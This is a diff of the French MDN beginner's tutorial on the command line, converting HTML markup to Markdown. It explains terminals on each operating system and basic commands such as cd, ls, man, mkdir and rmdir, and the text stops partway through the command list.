</tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p>Être familiarisé avec les bases des langages</p> + <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, et + <a href="/fr/docs/Learn/JavaScript">JavaScript</a>. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Comprendre ce qu'est la ligne de commande, savoir quelles sont les + commandes de base que vous devriez connaître, et comment installer de + nouveaux outils de ligne de commande. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Bienvenue_sur_le_terminal">Bienvenue sur le terminal</h2> +## Bienvenue sur le terminal + +Le terminal est une interface de texte pour l'exécution de programmes qui utilisent un langage lui-même textuel . Quel que soit le type d'outils que vous allez utiliser pour le développement web, il y a de grandes chances que vous soyez amené à travailler en ligne de commande pour les utiliser (vous rencontrerez aussi l'appellation "console" ou encore "CLI tools" pour désigner de tels outils d'interface en ligne de commande). + +Il existe de nombreux outils pour travailler en ligne de commande ; certains sont pré-installés sur votre système, et une infinité d'autres sont disponibles sur des dépôts de "paquets" (packages). Ces dépôts sont un peu comme des magasins spécialisés (pour la plupart) dans les outils de ligne de commande et les logiciels. Nous allons voir un peu plus loin dans ce chapitre comment installer certains de ces outils, et nous en apprendrons plus sur les dépôts de paquets dans le prochain chapitre. -<p>Le terminal est une interface de texte pour l'exécution de programmes qui utilisent un langage lui-même textuel . Quel que soit le type d'outils que vous allez utiliser pour le développement web, il y a de grandes chances que vous soyez amené à travailler en ligne de commande pour les utiliser (vous rencontrerez aussi l'appellation "console" ou encore "CLI tools" pour désigner de tels outils d'interface en ligne de commande).</p> +L'une des critiques les plus fréquentes envers la ligne de commande, c'est que l'utilisateur courant n'en a pratiquement aucune expérience. Se retrouver devant un terminal pour la première fois peut être vraiment intimidant : un écran vide, un curseur qui clignote, et rien ou presque pour vous aider à en tirer quelque chose. -<p>Il existe de nombreux outils pour travailler en ligne de commande ; certains sont pré-installés sur votre système, et une infinité d'autres sont disponibles sur des dépôts de "paquets" (packages). Ces dépôts sont un peu comme des magasins spécialisés (pour la plupart) dans les outils de ligne de commande et les logiciels. Nous allons voir un peu plus loin dans ce chapitre comment installer certains de ces outils, et nous en apprendrons plus sur les dépôts de paquets dans le prochain chapitre.</p> +Malgré cette apparence rebutante, le terminal est pourtant un outil puissant, et nous pouvons vous promettre qu'avec une petite formation et un peu de pratique, son utilisation vous deviendra bien plus facile ! C'est la raison pour laquelle nous vous proposons ce chapitre - pour vous aider à démarrer dans cet environnement apparemment inhospitalier. -<p>L'une des critiques les plus fréquentes envers la ligne de commande, c'est que l'utilisateur courant n'en a pratiquement aucune expérience. Se retrouver devant un terminal pour la première fois peut être vraiment intimidant : un écran vide, un curseur qui clignote, et rien ou presque pour vous aider à en tirer quelque chose.</p> +. -<p>Malgré cette apparence rebutante, le terminal est pourtant un outil puissant, et nous pouvons vous promettre qu'avec une petite formation et un peu de pratique, son utilisation vous deviendra bien plus facile ! C'est la raison pour laquelle nous vous proposons ce chapitre - pour vous aider à démarrer dans cet environnement apparemment inhospitalier.</p> +### Quelle est l'origine du terminal ? -<p>.</p> +Elle se situe dans les années 50-60, et son aspect d'alors ne ressemble pas du tout à ce que nous connaissons aujourd'hui (heureusement). Vous pouvez en apprendre davantage sur la page de Wikipédia [Terminal (informatique)](<https://fr.wikipedia.org/wiki/Terminal_(informatique)>). -<h3 id="Quelle_est_lorigine_du_terminal">Quelle est l'origine du terminal ?</h3> +Depuis, le terminal est resté un élément constant de tout système d'exploitation - des ordinateurs de bureau aux serveurs du cloud (qui n'est pas vraiment un nuage) en passant par les micro-cartes comme la Raspberry PI Zero et même les téléphones mobiles. Il offre un accès direct au système de fichiers de l'ordinateur et à des fonctionnalités de bas niveau, ce qui le rend incroyablement apte à accomplir rapidement des tâches complexes, à condition de savoir ce que vous faites. -<p>Elle se situe dans les années 50-60, et son aspect d'alors ne ressemble pas du tout à ce que nous connaissons aujourd'hui (heureusement). Vous pouvez en apprendre davantage sur la page de Wikipédia <a href="https://fr.wikipedia.org/wiki/Terminal_(informatique)">Terminal (informatique)</a>.</p> +Il est également utile pour automatiser certaines tâches, comme par exemple modifier les titres de centaines de fichiers instantanément - par exemple changer tous les "ch01-xxxx.png" en "ch02-xxxx.png", ce qui vous prendrait un temps considérable si vous deviez le faire à la main dans la fenêtre d'un gestionnaire de fichiers. -<p>Depuis, le terminal est resté un élément constant de tout système d'exploitation - des ordinateurs de bureau aux serveurs du cloud (qui n'est pas vraiment un nuage) en passant par les micro-cartes comme la Raspberry PI Zero et même les téléphones mobiles. Il offre un accès direct au système de fichiers de l'ordinateur et à des fonctionnalités de bas niveau, ce qui le rend incroyablement apte à accomplir rapidement des tâches complexes, à condition de savoir ce que vous faites.</p> +En tous cas, le terminal ne va pas disparaître de si tôt. -<p>Il est également utile pour automatiser certaines tâches, comme par exemple modifier les titres de centaines de fichiers instantanément - par exemple changer tous les "ch01-xxxx.png" en "ch02-xxxx.png", ce qui vous prendrait un temps considérable si vous deviez le faire à la main dans la fenêtre d'un gestionnaire de fichiers.</p> +### À quoi ressemble un terminal ? -<p>En tous cas, le terminal ne va pas disparaître de si tôt.</p> +Vous pouvez voir ci-dessous les apparences de quelques terminaux émulés par des programmes courants. -<h3 id="À_quoi_ressemble_un_terminal">À quoi ressemble un terminal ?</h3> +Les images suivantes montrent les invites de commande disponibles sous Windows – il y a une panoplie d'options, du programme « cmd » au « powershell » - qui peuvent être lancées depuis le menu de démarrage en tapant le nom du programme. -<p>Vous pouvez voir ci-dessous les apparences de quelques terminaux émulés par des programmes courants.</p> + -<p>Les images suivantes montrent les invites de commande disponibles sous Windows – il y a une panoplie d'options, du programme « cmd » au « powershell » - qui peuvent être lancées depuis le menu de démarrage en tapant le nom du programme.</p> +Et ci-dessous, vous pouvez voir l'application de terminal pour macOS. -<p><img alt="A vanilla windows cmd line window, and a windows powershell window" src="win-terminals.png"></p> + -<p>Et ci-dessous, vous pouvez voir l'application de terminal pour macOS.</p> +### Comment ouvrir un terminal ? -<p><img alt="A basic vanilla mac terminal" src="mac-terminal.png"></p> +Beaucoup de développeurs se servent aujourd'hui de terminaux de type Unix (c'est-à-dire le terminal en lui-même plus les outils auxquels il donne accès). Beaucoup de tutoriels sur le web sont basés sur ces terminaux Unix qu'ils considèrent (malheureusement) comme universels, mais nous allons voir dans cette section comment ouvrir un terminal sur le système de votre choix. -<h3 id="Comment_ouvrir_un_terminal">Comment ouvrir un terminal ?</h3> +#### Linux/Unix -<p>Beaucoup de développeurs se servent aujourd'hui de terminaux de type Unix (c'est-à-dire le terminal en lui-même plus les outils auxquels il donne accès). Beaucoup de tutoriels sur le web sont basés sur ces terminaux Unix qu'ils considèrent (malheureusement) comme universels, mais nous allons voir dans cette section comment ouvrir un terminal sur le système de votre choix.</p> +Comme indiqué plus haut, les systèmes Linux/Unix disposent d'un terminal par défaut, présent dans vos Applications. -<h4 id="LinuxUnix">Linux/Unix</h4> +#### macOS -<p>Comme indiqué plus haut, les systèmes Linux/Unix disposent d'un terminal par défaut, présent dans vos Applications.</p> +macOS a un système nommé Darwin qui réside sous l'interface graphique. Darwin est un système de type Unix, qui fournit le terminal, et l'accès aux outils de bas niveau. Darwin est dans l'ensemble assez proche d'Unix pour ne pas nous causer trop de problèmes lors de notre progression dans cet article. -<h4 id="macOS">macOS</h4> +Ce terminal est disponible sur macOS dans Applications/Utilitaires/Terminal. -<p>macOS a un système nommé Darwin qui réside sous l'interface graphique. Darwin est un système de type Unix, qui fournit le terminal, et l'accès aux outils de bas niveau. Darwin est dans l'ensemble assez proche d'Unix pour ne pas nous causer trop de problèmes lors de notre progression dans cet article.</p> +#### Windows -<p>Ce terminal est disponible sur macOS dans Applications/Utilitaires/Terminal.</p> +Comme pour d'autres outils de programmation, c'est un peu une tradition pour Windows de ne pas faciliter l'utilisation du terminal (ou ligne de commande) par rapport à d'autres systèmes d'exploitation. Mais les choses s'améliorent. -<h4 id="Windows">Windows</h4> +Traditionnellement aussi, Windows a depuis longtemps eu son propre programme de type « terminal », appelé « cmd » (« l'invite de commande »), mais celui-ci n'est en rien comparable aux commandes Unix, et il est en fait équivalent au programme DOS des temps héroïques. -<p>Comme pour d'autres outils de programmation, c'est un peu une tradition pour Windows de ne pas faciliter l'utilisation du terminal (ou ligne de commande) par rapport à d'autres systèmes d'exploitation. Mais les choses s'améliorent.</p> +On trouve malgré tout de meilleurs programmes qui offrent une expérience de terminal sur Windows, tels que Powershell ([voir ici pour l'installer](https://github.com/PowerShell/PowerShell)), et Gitbash (qui fait partie de la trousse à outils [git for Windows](https://gitforwindows.org/)). -<p>Traditionnellement aussi, Windows a depuis longtemps eu son propre programme de type « terminal », appelé « cmd » (« l'invite de commande »), mais celui-ci n'est en rien comparable aux commandes Unix, et il est en fait équivalent au programme DOS des temps héroïques.</p> +Quoi qu'il en soit, aujourd'hui, la meilleure option est le « Windows Subsystem for Linux » (WSL) – une couche de compatibilité qui permet de lancer des systèmes d'exploitation Linux directement dans Windows 10, ce qui vous permet d'avoir un « vrai terminal », sans recourir à une machine virtuelle. -<p>On trouve malgré tout de meilleurs programmes qui offrent une expérience de terminal sur Windows, tels que Powershell (<a href="https://github.com/PowerShell/PowerShell">voir ici pour l'installer</a>), et Gitbash (qui fait partie de la trousse à outils <a href="https://gitforwindows.org/">git for Windows</a>).</p> +Vous pouvez l'installer gratuitement directement à partir du Windows store. Toute la documentation utile est disponible dans la [Windows Subsystem for Linux Documentation](https://docs.microsoft.com/fr/windows/wsl) . -<p>Quoi qu'il en soit, aujourd'hui, la meilleure option est le « Windows Subsystem for Linux » (WSL) – une couche de compatibilité qui permet de lancer des systèmes d'exploitation Linux directement dans Windows 10, ce qui vous permet d'avoir un « vrai terminal », sans recourir à une machine virtuelle.</p> + -<p>Vous pouvez l'installer gratuitement directement à partir du Windows store. Toute la documentation utile est disponible dans la <a href="https://docs.microsoft.com/fr/windows/wsl">Windows Subsystem for Linux Documentation</a> .</p> +Si vous vous demandez quelle option choisir sur Windows, nous vous recommandons vivement de vous décider pour le WSL. Vous pourriez certes vous en tenir à l'invite de commande par défaut (« cmd »), et faire tourner pas mal d'outils correctement, mais tout sera bien plus facile si vous avez une meilleure équivalence avec les outils Unix. -<p><img alt="a screenshot of the windows subsystem for linux documentation" src="wsl.png"></p> +#### En passant, quelle est la différence entre ligne de commande et terminal ? -<p>Si vous vous demandez quelle option choisir sur Windows, nous vous recommandons vivement de vous décider pour le WSL. Vous pourriez certes vous en tenir à l'invite de commande par défaut (« cmd »), et faire tourner pas mal d'outils correctement, mais tout sera bien plus facile si vous avez une meilleure équivalence avec les outils Unix.</p> +En général, vous rencontrerez ces deux termes utilisés de façon interchangeable. Techniquement, un terminal (ou console) est un logiciel qui se connecte à un shell au démarrage. Un shell correspond à votre session et à votre environnement de session (où des choses comme l'invite de commande et les raccourcis peuvent être personnalisés). La ligne de commande quant à elle (ou prompt) est la ligne de texte où vous entrez des commandes et où le curseur clignote. -<h4 id="En_passant_quelle_est_la_différence_entre_ligne_de_commande_et_terminal">En passant, quelle est la différence entre ligne de commande et terminal ?</h4> +### Est-ce qu'il _faut_ se servir du terminal? -<p>En général, vous rencontrerez ces deux termes utilisés de façon interchangeable. Techniquement, un terminal (ou console) est un logiciel qui se connecte à un shell au démarrage. Un shell correspond à votre session et à votre environnement de session (où des choses comme l'invite de commande et les raccourcis peuvent être personnalisés). La ligne de commande quant à elle (ou prompt) est la ligne de texte où vous entrez des commandes et où le curseur clignote.</p> +Bien que les outils disponibles à partir de la ligne de commande soient très riches, si vous utilisez des outils tels que [Visual Studio Code](https://code.visualstudio.com/) vous allez avoir accès à une quantité d'extensions que vous pourrez utiliser pour vous aider dans l'édition et vous allez pouvoir vous passer presque complètement du terminal lui-même. Cependant, vous ne pourrez pas trouver une extension sur votre éditeur de code pour tout ce que vous voudrez faire – en définitive, vous devrez malgré tout vous confronter au terminal. -<h3 id="Est-ce_quil_faut_se_servir_du_terminal">Est-ce qu'il <em>faut </em>se servir du terminal?</h3> +## Les commandes intégrées de base -<p>Bien que les outils disponibles à partir de la ligne de commande soient très riches, si vous utilisez des outils tels que <a href="https://code.visualstudio.com/">Visual Studio Code</a> vous allez avoir accès à une quantité d'extensions que vous pourrez utiliser pour vous aider dans l'édition et vous allez pouvoir vous passer presque complètement du terminal lui-même. Cependant, vous ne pourrez pas trouver une extension sur votre éditeur de code pour tout ce que vous voudrez faire – en définitive, vous devrez malgré tout vous confronter au terminal.</p> +Assez parlé — voyons maintenant quelques commandes utilisables dans un terminal ! Voici, clés en main, un petit aperçu de tout ce que l'on peut faire en ligne de commande, avec la référence des outils pertinents dans chaque cas : -<h2 id="Les_commandes_intégrées_de_base">Les commandes intégrées de base</h2> +- Naviguer dans le système de fichiers de votre ordinateur en accomplissant des tâches basiques telles que créer, copier, renommer et effacer : -<p>Assez parlé — voyons maintenant quelques commandes utilisables dans un terminal ! Voici, clés en main, un petit aperçu de tout ce que l'on peut faire en ligne de commande, avec la référence des outils pertinents dans chaque cas :</p> + - Se déplacer dans l'arborescence des répertoires : `cd` + - Créer des répertoires : `mkdir` + - Créer des fichiers (et modifier leurs métadonnées): `touch` + - Copier des fichiers : `cp` + - Déplacer des fichiers : `mv` + - Supprimer des fichiers ou des répertoires : `rm` -<ul> - <li>Naviguer dans le système de fichiers de votre ordinateur en accomplissant des tâches basiques telles que créer, copier, renommer et effacer : - <ul> - <li>Se déplacer dans l'arborescence des répertoires : <code>cd</code></li> - <li>Créer des répertoires : <code>mkdir</code></li> - <li>Créer des fichiers (et modifier leurs métadonnées): <code>touch</code></li> - <li>Copier des fichiers : <code>cp</code></li> - <li>Déplacer des fichiers : <code>mv</code></li> - <li>Supprimer des fichiers ou des répertoires : <code>rm</code></li> - </ul> - </li> - <li>Télécharger des fichiers à partir d'URL spécifiques : <code>curl</code></li> - <li>Rechercher des fragments de texte dans des parties de texte de taille importante : <code>grep</code></li> - <li>Afficher le contenu d'un fichier page par page: <code>less</code>, <code>cat</code></li> - <li>Manipuler et transformer des flux de texte (par exemple remplacer toutes les occurrences de <code><div></code> dans un fichier HTML par <code><article></code>): <code>awk</code>, <code>tr</code>, <code>sed</code></li> -</ul> +- Télécharger des fichiers à partir d'URL spécifiques : `curl` +- Rechercher des fragments de texte dans des parties de texte de taille importante : `grep` +- Afficher le contenu d'un fichier page par page: `less`, `cat` +- Manipuler et transformer des flux de texte (par exemple remplacer toutes les occurrences de `<div>` dans un fichier HTML par `<article>`): `awk`, `tr`, `sed` -<div class="note"> -<p><strong>Note :</strong> On trouve sur le web un bon nombre de tutoriels de qualité qui permettent d'aller beaucoup plus loin avec la ligne de commande — ceci n'est qu'une brève introduction ! L'auteur de ces lignes lui-même a sa propre <a href="https://terminal.training/?coupon=mdn">série de vidéos de formation au terminal</a> (80% de réduction en utilisant le code mdn au moment du paiement — 19$).</p> -</div> +> **Note :** On trouve sur le web un bon nombre de tutoriels de qualité qui permettent d'aller beaucoup plus loin avec la ligne de commande — ceci n'est qu'une brève introduction ! L'auteur de ces lignes lui-même a sa propre [série de vidéos de formation au terminal](https://terminal.training/?coupon=mdn) (80% de réduction en utilisant le code mdn au moment du paiement — 19$). -<p>Pour aller plus loin, voyons maintenant comment utiliser quelques-uns de ces outils en ligne de commande. Commencez par ouvrir votre programme de terminal (ou console) !</p> +Pour aller plus loin, voyons maintenant comment utiliser quelques-uns de ces outils en ligne de commande. Commencez par ouvrir votre programme de terminal (ou console) ! -<h3 id="Navigation_en_ligne_de_commande">Navigation en ligne de commande</h3> +### Navigation en ligne de commande -<p>Lorsque vous vous mettez sur la ligne de commande, vous allez inévitablement devoir naviguer vers un répertoire spécifique pour y "faire quelque chose". Tous les systèmes d'exploitation (du moins avec un paramétrage par défaut) démarrent leur terminal dans votre répertoire d'utilisateur, et il y a des chances pour que vous souhaitiez vous rendre de là à un autre emplacement.</p> +Lorsque vous vous mettez sur la ligne de commande, vous allez inévitablement devoir naviguer vers un répertoire spécifique pour y "faire quelque chose". Tous les systèmes d'exploitation (du moins avec un paramétrage par défaut) démarrent leur terminal dans votre répertoire d'utilisateur, et il y a des chances pour que vous souhaitiez vous rendre de là à un autre emplacement. -<p>La commande <code>cd</code> vous permet de changer de répertoire (Change Directory). Techniquement, cd n'est pas un programme mais une commande intégrée. Cela signifie que votre système d'exploitation la fournit de façon native, et aussi que vous ne pouvez pas l'effacer accidentellement - bonne nouvelle ! Cela dit, vous n'avez pas besoin de vous soucier de savoir si une commande est intégrée ou non, mais vous pouvez garder à l'esprit que les commandes intégrées sont présentes sur les systèmes basés sur Unix.</p> +La commande `cd` vous permet de changer de répertoire (Change Directory). Techniquement, cd n'est pas un programme mais une commande intégrée. Cela signifie que votre système d'exploitation la fournit de façon native, et aussi que vous ne pouvez pas l'effacer accidentellement - bonne nouvelle ! Cela dit, vous n'avez pas besoin de vous soucier de savoir si une commande est intégrée ou non, mais vous pouvez garder à l'esprit que les commandes intégrées sont présentes sur les systèmes basés sur Unix. -<p>Pour changer de répertoire, vous tapez <code>cd</code> dans votre terminal, suivi par le répertoire dans lequel vous voulez vous rendre. En supposant que le répertoire (ou dossier) <code>Desktop</code> se trouve dans votre répertoire utilisateur, vous allez donc taper <code>cd Desktop</code> (voir les copies d'écran ci-dessous).</p> +Pour changer de répertoire, vous tapez `cd` dans votre terminal, suivi par le répertoire dans lequel vous voulez vous rendre. En supposant que le répertoire (ou dossier) `Desktop` se trouve dans votre répertoire utilisateur, vous allez donc taper `cd Desktop` (voir les copies d'écran ci-dessous). -<p><img alt="results of the cd Desktop command being run in a variety of windows terminals - the terminal location moves into the desktop" src="win-terminals-cd.png"></p> + -<p>Sur un système en langue française, vous trouverez plus fréquemment "Bureau" plutôt que "Desktop". Essayez de taper ceci dans votre terminal système (sur un système en langue anglaise, bien sûr conservez "Desktop") :</p> +Sur un système en langue française, vous trouverez plus fréquemment "Bureau" plutôt que "Desktop". Essayez de taper ceci dans votre terminal système (sur un système en langue anglaise, bien sûr conservez "Desktop") : -<pre class="brush: bash">cd Bureau</pre> +```bash +cd Bureau +``` -<p>Si vous voulez revenir au répertoire précédent, utilisez les deux points :</p> +Si vous voulez revenir au répertoire précédent, utilisez les deux points : -<pre class="brush: bash">cd ..</pre> +```bash +cd .. +``` -<div class="note"> -<p><strong>Note :</strong> Raccourci vraiment utile sur un terminal, la touche <kbd>tab</kbd> émule la saisie automatique des mots dont vous connaissez l'existence, ce qui vous évite de les taper en entier. Par exemple, après avoir tapé les deux commandes ci-dessus, essayez de taper <code>cd B</code> puis de presser la touche <kbd>tab</kbd> — cela devrait saisir automatiquement le nom de répertoire <code>Bureau</code>, à condition qu'il soit présent dans le répertoire courant. Gardez ceci à l'esprit tout en poursuivant.</p> -</div> +> **Note :** Raccourci vraiment utile sur un terminal, la touche <kbd>tab</kbd> émule la saisie automatique des mots dont vous connaissez l'existence, ce qui vous évite de les taper en entier. Par exemple, après avoir tapé les deux commandes ci-dessus, essayez de taper `cd B` puis de presser la touche <kbd>tab</kbd> — cela devrait saisir automatiquement le nom de répertoire `Bureau`, à condition qu'il soit présent dans le répertoire courant. Gardez ceci à l'esprit tout en poursuivant. -<p>Si le répertoire que vous visez est placé assez loin dans l'arborisation des fichiers, il vous faut connaître le chemin (on dit souvent path, qui est le terme anglais) pour vous y rendre. Cela devient en général plus facile à mesure que vous vous familiarisez avec la structure de votre système de fichiers, mais si vous n'êtes pas sûr vous pouvez le retrouver en combinant la commande <code>ls</code> avec des clicks dans votre Explorer ou autre gestionnaire graphique de fichiers, ce qui va vous permettre de voir où se trouve le répertoire (ou dossier) cherché par rapport à votre répertoire actuel (= répertoire courant).</p> +Si le répertoire que vous visez est placé assez loin dans l'arborisation des fichiers, il vous faut connaître le chemin (on dit souvent path, qui est le terme anglais) pour vous y rendre. Cela devient en général plus facile à mesure que vous vous familiarisez avec la structure de votre système de fichiers, mais si vous n'êtes pas sûr vous pouvez le retrouver en combinant la commande `ls` avec des clicks dans votre Explorer ou autre gestionnaire graphique de fichiers, ce qui va vous permettre de voir où se trouve le répertoire (ou dossier) cherché par rapport à votre répertoire actuel (= répertoire courant). -<p>Par exemple, si vous vouliez aller dans un dossier nommé <code>src</code>, qui se trouve dans un dossier nommé <code>projet</code>, qui est lui-même sur le <code>Bureau</code>, vous pourriez taper ces trois commandes pour y arriver à partir de votre dossier utilisateur :</p> +Par exemple, si vous vouliez aller dans un dossier nommé `src`, qui se trouve dans un dossier nommé `projet`, qui est lui-même sur le `Bureau`, vous pourriez taper ces trois commandes pour y arriver à partir de votre dossier utilisateur : -<pre class="brush: bash">cd Bureau +```bash +cd Bureau cd projet -cd src</pre> +cd src +``` -<p>Mais c'est une perte de temps — à la place, vous pouvez taper une seule commande, avec les différents éléments du chemin séparés par des slashes, exactement de la même manière que lorsque vous spécifiez les chemins d'accès à des images ou autres assets en CSS, HTML, ou JavaScript :</p> +Mais c'est une perte de temps — à la place, vous pouvez taper une seule commande, avec les différents éléments du chemin séparés par des slashes, exactement de la même manière que lorsque vous spécifiez les chemins d'accès à des images ou autres assets en CSS, HTML, ou JavaScript : -<pre class="brush: bash">cd Bureau/projet/src</pre> +```bash +cd Bureau/projet/src +``` -<p>Notez que si vous commencez le chemin par un slash, vous le rendez absolu, par exemple <code>/Utilisateurs/votre-nom/Bureau</code>. Omettre le premier slash comme nous l'avons fait ci-dessus construit un chemin relatif à votre répertoire de travail actuel. C'est exactement la même chose qu'une URL dans un navigateur. Un slash au début signifie "à la racine du site web", alors qu'omettre le slash signifie "l'URL est relative à ma page courante".</p> +Notez que si vous commencez le chemin par un slash, vous le rendez absolu, par exemple `/Utilisateurs/votre-nom/Bureau`. Omettre le premier slash comme nous l'avons fait ci-dessus construit un chemin relatif à votre répertoire de travail actuel. C'est exactement la même chose qu'une URL dans un navigateur. Un slash au début signifie "à la racine du site web", alors qu'omettre le slash signifie "l'URL est relative à ma page courante". -<div class="note"> -<p><strong>Note :</strong> Sur windows vous devez utiliser des backslashes et non des slashes, p. ex. <code>cd Bureau\projet\src</code> — cela peut vous paraître vraiment étrange, mais si la question vous intéresse,<a href="https://www.youtube.com/watch?v=5T3IJfBfBmI"> regardez cette vidéo YouTube</a> (en anglais) qui présente une explication par l'un des ingénieurs principaux de Microsoft.</p> -</div> +> **Note :** Sur windows vous devez utiliser des backslashes et non des slashes, p. ex. `cd Bureau\projet\src` — cela peut vous paraître vraiment étrange, mais si la question vous intéresse,[ regardez cette vidéo YouTube](https://www.youtube.com/watch?v=5T3IJfBfBmI) (en anglais) qui présente une explication par l'un des ingénieurs principaux de Microsoft. -<h3 id="Lister_le_contenu_dun_répertoire">Lister le contenu d'un répertoire</h3> +### Lister le contenu d'un répertoire -<p><code>ls</code> (de l'anglais list) est la commande intégrée Unix qui va vous permettre de lister le contenu du répertoire dans lequel vous vous trouvez. Notez que cela ne fonctionnera pas avec l'invite de commande par défaut de Windows (<code>cmd</code>) — la commande équivalente est <code>dir</code>.</p> +`ls` (de l'anglais list) est la commande intégrée Unix qui va vous permettre de lister le contenu du répertoire dans lequel vous vous trouvez. Notez que cela ne fonctionnera pas avec l'invite de commande par défaut de Windows (`cmd`) — la commande équivalente est `dir`. -<p>Essayez de taper ceci dans votre terminal :</p> +Essayez de taper ceci dans votre terminal : -<pre class="brush: bash">ls</pre> +```bash +ls +``` -<p>Vous obtenez la liste des fichiers et répertoires de votre répertoire de travail courant, mais l'information est vraiment basique - vous n'avez que les noms des items, sans savoir s'il s'agit d'un fichier, d'un répertoire, ou d'autre chose. Heureusement, une petite modification dans l'utilisation de la commande va vous donner beaucoup plus d'informations.</p> +Vous obtenez la liste des fichiers et répertoires de votre répertoire de travail courant, mais l'information est vraiment basique - vous n'avez que les noms des items, sans savoir s'il s'agit d'un fichier, d'un répertoire, ou d'autre chose. Heureusement, une petite modification dans l'utilisation de la commande va vous donner beaucoup plus d'informations. -<h3 id="Présentation_des_options_de_commandes">Présentation des options de commandes</h3> +### Présentation des options de commandes -<p>La plupart des commandes de terminal possèdent des options - ce sont des modificateurs que vous ajoutez à la fin d'une commande pour obtenir un comportement légèrement différent. Il s'agit en général d'un espace suivi d'un tiret puis d'une ou de plusieurs lettres.</p> +La plupart des commandes de terminal possèdent des options - ce sont des modificateurs que vous ajoutez à la fin d'une commande pour obtenir un comportement légèrement différent. Il s'agit en général d'un espace suivi d'un tiret puis d'une ou de plusieurs lettres. -<p>Voyez par exemple ce que vous obtenez en essayant ceci :</p> +Voyez par exemple ce que vous obtenez en essayant ceci : -<pre class="brush: bash">ls -l</pre> +```bash +ls -l +``` -<p>Avec <code>ls</code>, l'option <code>-l</code> (<em>tiret l, "dash ell</em>" en anglais) vous donne une liste avec un fichier ou répertoire par ligne et pas mal d'autres informations. Les répertoires ("directories") sont repérés pas la lettre "d" au tout début de la ligne. Nous pouvons y entrer avec la commande <code>cd</code>.</p> +Avec `ls`, l'option `-l` (_tiret l, "dash ell_" en anglais) vous donne une liste avec un fichier ou répertoire par ligne et pas mal d'autres informations. Les répertoires ("directories") sont repérés pas la lettre "d" au tout début de la ligne. Nous pouvons y entrer avec la commande `cd`. -<p>Voici ci-dessous une copie d'écran avec un terminal macOS “vanilla” en haut, et en bas un terminal personnalisé avec quelques icônes supplémentaires et des couleurs pour le rendre plus vivant — les deux affichent le résultat de la commande <code>ls -l</code> :</p> +Voici ci-dessous une copie d'écran avec un terminal macOS “vanilla” en haut, et en bas un terminal personnalisé avec quelques icônes supplémentaires et des couleurs pour le rendre plus vivant — les deux affichent le résultat de la commande `ls -l` : -<p><img alt="A vanilla mac terminal and a more colorful custom mac terminal, showing a file listing - the result of running the ls -l command" src="mac-terminals-ls.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Pour savoir exactement quelles sont les options d'une commande, vous pouvez consulter sa <a href="https://fr.wikipedia.org/wiki/Man_(Unix)">page de manuel</a> (<a href="https://en.wikipedia.org/wiki/Man_page">man page</a> en anglais). Pour cela, tapez la commande <code>man</code> suivie du nom de la commande que vous cherchez, par exemple <code>man ls</code>. La page de manuel va s'ouvrir dans le lecteur de texte par défaut de votre terminal (par exemple, <code><a href="https://en.wikipedia.org/wiki/Less_(Unix)">less</a></code> sur mon terminal), et vous allez pouvoir faire défiler la page avec les touches de flèches ou un mécanisme similaire. La page de manuel liste toutes les options de façon très détaillée, ce qui peut être un peu intimidant au début, mais au moins vous savez où les trouver si vous en avez besoin. Lorsque vous avez terminé avec la page de manuel, vous la refermez avec la commande "quitter" de votre visionneur de texte (pour <code>less</code> c'est "q" ; si ce n'est pas évident cherchez sur Internet).</p> -</div> +> **Note :** Pour savoir exactement quelles sont les options d'une commande, vous pouvez consulter sa [page de manuel](<https://fr.wikipedia.org/wiki/Man_(Unix)>) ([man page](https://en.wikipedia.org/wiki/Man_page) en anglais). Pour cela, tapez la commande `man` suivie du nom de la commande que vous cherchez, par exemple `man ls`. La page de manuel va s'ouvrir dans le lecteur de texte par défaut de votre terminal (par exemple, [`less`](<https://en.wikipedia.org/wiki/Less_(Unix)>) sur mon terminal), et vous allez pouvoir faire défiler la page avec les touches de flèches ou un mécanisme similaire. La page de manuel liste toutes les options de façon très détaillée, ce qui peut être un peu intimidant au début, mais au moins vous savez où les trouver si vous en avez besoin. Lorsque vous avez terminé avec la page de manuel, vous la refermez avec la commande "quitter" de votre visionneur de texte (pour `less` c'est "q" ; si ce n'est pas évident cherchez sur Internet). -<div class="note"> -<p><strong>Note :</strong> Pour lancer une commande avec des options multiples, on peut en général les regrouper dans une seule chaîne de caractères après le tiret, par exemple <code>ls -lah</code>, ou <code>ls -ltrh</code>. Exercez-vous à consulter la page man de <code>ls</code> pour savoir ce que vous donnent ces options !</p> -</div> +> **Note :** Pour lancer une commande avec des options multiples, on peut en général les regrouper dans une seule chaîne de caractères après le tiret, par exemple `ls -lah`, ou `ls -ltrh`. Exercez-vous à consulter la page man de `ls` pour savoir ce que vous donnent ces options ! -<p>Maintenant que vous connaissez ces deux commandes fondamentales, allez un peu fouiller dans votre système de fichiers en naviguant à partir de votre répertoire.</p> +Maintenant que vous connaissez ces deux commandes fondamentales, allez un peu fouiller dans votre système de fichiers en naviguant à partir de votre répertoire. -<h3 id="Créer_copier_déplacer_supprimer">Créer, copier, déplacer, supprimer</h3> +### Créer, copier, déplacer, supprimer -<p>Il y existe un certain nombre d'autres commandes d'utilité basique dont vous allez probablement pas mal vous servir en travaillant sur un terminal. Elles sont assez simples, aussi nous n'allons pas les expliquer avec autant de détails que les deux précédentes.</p> +Il y existe un certain nombre d'autres commandes d'utilité basique dont vous allez probablement pas mal vous servir en travaillant sur un terminal. Elles sont assez simples, aussi nous n'allons pas les expliquer avec autant de détails que les deux précédentes. -<p>Jouez avec elles dans un répertoire que vous aurez créé quelque part de façon à ne pas effacer accidentellement quoi que ce soit d'important, en vous servant des exemples donnés pour vous guider :</p> +Jouez avec elles dans un répertoire que vous aurez créé quelque part de façon à ne pas effacer accidentellement quoi que ce soit d'important, en vous servant des exemples donnés pour vous guider : -<ul> - <li><code>mkdir</code> — crée un nouveau répertoire à l'intérieur du répertoire courant. Par exemple, <code>mkdir mon-super-site</code> va créer un nouveau répertoire nommé <code>mon-super-site</code>.</li> - <li><code>rmdir</code> — efface le répertoire dont le nom est passé, mais seulement s'il est vide. Par exemple <code>rmdir mon-super-site</code> va supprimer le répertoire que nous avons créé ci-dessus. Si vous voulez supprimer un répertoire qui n'est pas vide (ainsi que tout ce qu'il contient), vous pouvez utiliser l'option <code>-r</code> (<em>recursive</em>), mais cela est dangereux. Assurez-vous de n'avoir pas besoin plus tard de quelque chose qui se trouverait dans le répertoire, car il aura définitivement disparu.</li> - 